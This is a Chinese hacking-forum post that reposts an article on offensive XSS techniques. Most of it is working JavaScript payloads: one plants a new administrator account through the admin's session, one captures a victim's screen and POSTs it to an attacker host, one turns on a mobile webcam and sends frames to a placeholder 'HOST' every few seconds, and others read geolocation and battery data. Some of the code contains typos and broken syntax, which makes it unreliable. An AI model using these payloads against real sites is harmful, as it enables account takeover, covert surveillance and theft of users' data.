HACK80

我们很年轻,但我们有信念、有梦想!

我们坚信只有今天付出了,才有机会看到明天的太阳!
现在!加入我们,给你一个气氛优秀的技术圈子

作者: @w=无名
查看: 641|回复: 1

more +随机图赏Gallery

2017年中旬WEB渗透系列课程-26Mysql下UDF提权2017年中旬WEB渗透系列课程-26Mysql下UDF提权
2017年中旬WEB渗透系列课程-25基于php参数开关的提权2017年中旬WEB渗透系列课程-25基于php参数开关的提权
2017年中旬WEB渗透系列课程-24提权分类2017年中旬WEB渗透系列课程-24提权分类
2017年中旬WEB渗透系列课程-23提权认识2017年中旬WEB渗透系列课程-23提权认识
2017年中旬WEB渗透系列课程-22CMS相关2017年中旬WEB渗透系列课程-22CMS相关
2017年中旬WEB渗透系列课程-21webshell免杀相关问题2017年中旬WEB渗透系列课程-21webshell免杀相关问题
2017年中旬WEB渗透系列课程-20关于指令执行2017年中旬WEB渗透系列课程-20关于指令执行
2017年中旬WEB渗透系列课程-19文件包含与目录遍历2017年中旬WEB渗透系列课程-19文件包含与目录遍历
2017年中旬WEB渗透系列课程-18上传绕过方法演示2017年中旬WEB渗透系列课程-18上传绕过方法演示
2017年中旬WEB渗透系列课程-17了解上传检测方式2017年中旬WEB渗透系列课程-17了解上传检测方式

XSS漏洞的渗透利用另类玩法

[复制链接]
@w=无名 发表于 2017-8-9 17:00:07 | 显示全部楼层 |阅读模式
查看: 641|回复: 1

马上注册,加入HACK80!与我们一起交流。

正式会员需要 登录 才可以下载或查看,没有帐号?立即注册

x
今天就来讲一下大家都熟悉的 xss漏洞的渗透利用。相信大家对xss已经很熟悉了,但是很多安全人员的意识里 xss漏洞危害只有弹窗或者窃取cookie。但是xss还有更多的花式玩法,今天将介绍几种。


1. xss渗透添加管理员

后台触发存储型XSS,网站设置http-only,窃取的cookie无效。那么如何在这种情况下利用xss漏洞。

无法获取cookie,但是我们可以利用xss漏洞,以管理员的权限,添加一个新的管理员。没错,就是让管理员给我们加一个高权限账号。

这里我们会用到 JavaScript和Ajax 技术。 利用xmlhttp 发送一个http请求,在后台发送一个添加管理员的post请求。

  1. var request = false;
  2. if(window.XMLHttpRequest) {
  3.     request = new.XMLHttpRequest();
  4.     if(request.overrideMimeType) {
  5.         request.overrideMimeType('text/html');
  6.     }
  7. } else if(Window.ActiveXObject) {
  8.     var versions = {'Microsoft.XMLHTTP','MSXML_XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'};
  9.     for(var i=0; i<versions.length; i ++){
  10.         try{
  11.             request = new ActiveXObject(versions);
  12.         }catch(e){}
  13. }
  14. }
  15. xmlhttp = request;

  16. add_admin();
  17. function add_admin(){
  18.     var url = "/admin/admin_add_user.php";  //添加用户请求地址
  19.     var params = "username=xss&passwod=123456&email=xss@xss.com&submit=1" //添加用户post数据
  20.     xmlhttp.open("POST",url,true);
  21.     xmlhttp.setRequstHeader("Content-type","application/x-www-form-urlencoded")
  22.     xmlhttp.setRequstHeader("Content-length",params.length);
  23.     xmlhttp.setRequstHeader("Connection","close")
  24.     }
复制代码



2. xss截取客户的屏幕

现在随着技术的进步,前端技术支持的面非常广泛。xss漏洞可以利用html5的 canvas 来进行屏幕的截屏功能,类似于远程控制木马查看对方屏幕功能。这个可以大大的提高对于进一步入侵的信息收集。废话不说直接上代码。

这里需要用到一个js库 html2canvas.js

  1. document.write("<script src="html2canvas.js\><\/script>");   

  2. window.onload=function(){
  3.         html2canvas(document.body, {
  4.         onrendered: function(canvas) {
复制代码


//下面开始把抓取到的屏幕图片代码传输和接收,由于代码非常的长,只能使用post
  1. xhr=function(){
  2.         var request = false;
  3.         if(window.XMLHttpRequest){
  4.                 request = new XMLHttpRequest();
  5.         }else if (window.ActiveXObject){
  6.                 try{
  7.                         request = new window.ActiveXObject('Microsoft.XMLHTTP');
  8.                 }catch(e){

  9.                 }
  10.         }

  11.         return request;
  12. }();

  13. request = function(method,src,argv,content_type){
  14.         xhr.open(method,src,false);
  15.         if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
  16.         xhr.send(argv);                                         //发送POST数据
  17.         return xhr.responseText;
  18. };

  19. attack_a = function(){
  20.         var src         = "http://xxx.com/xss.php?";                 //post接收地址
  21.         var argv_0      = "'&screenshot="+canvas.toDataURL();    //post字段名称为screenshot
  22.         request("POST",src,argv_0,"application/x-www-form-urlencoded");
  23. };

  24. attack_a();

  25.                                   }
  26.                                 });
  27.                         }
复制代码



上面的代码是针对 pc端的截屏,手机端的截屏xss代码有所不同

  1. <script>
  2. d=document;
  3. v=d.createElement('video');
  4. c=d.createElement('canvas');
  5. c.width=640;
  6. c.height=480;
  7. navigator.webkitGetUserMedia({'video':true},function(s){
  8. v.src=URL.createObjectURL(s);v.play()},function(){});
  9. c2=c.getContext('2d');
  10. x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())';
  11. setInterval(x,5000);
  12. </script>
复制代码


这两种服务端获取到的post数据包是 base64格式的 ,我们只要进行转码即可看到对方的屏幕截图。


3.xss对移动端的渗透

现在越来越多的人喜欢用手机查看网页,xss针对手机端的支持也很友好。

这里只针对手机端Firefox浏览器说明。

xss获取对方经纬度代码

  1. <script>
  2. <div>
  3. </div>navigator.geolocation.getCurrentPosition(function(p){

  4. alert('Latitude:'+p.coords.latitude+',Longitude:'+
  5. p.coords.longitude+',Altitude:'+p.coords.altitude);})

  6. &lt;/script&gt;
复制代码



xss获取电池状态的代码,这里需要用到JavaScript Battery API

  1. &lt;svg onload=alert(navigator.battery.level)&gt;

  2. &lt;svg onload=alert(navigator.battery.dischargingTime)&gt;

  3. &lt;svg onload=alert(navigator.battery.charging)&gt;
复制代码


转载自春秋社区,看着这个姿势听不错的就拿来给大家分享了
原文地址:https://mp.weixin.qq.com/s/dGh5McKWQbmrSWTncrIalQ
(微信公众号推荐的,所有是微信的地址不是春秋论坛的)

套套不绝 发表于 2017-8-27 00:13:30 | 显示全部楼层
留存,玩法不错!
正式会员需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|手机版|小黑屋|HACK80 ( 沪ICP备15007512号 )

GMT+8, 2017-10-21 11:18 , Processed in 0.061676 second(s), 26 queries .

Powered by Discuz! X3.2 © 2001-2013 Comsenz Inc.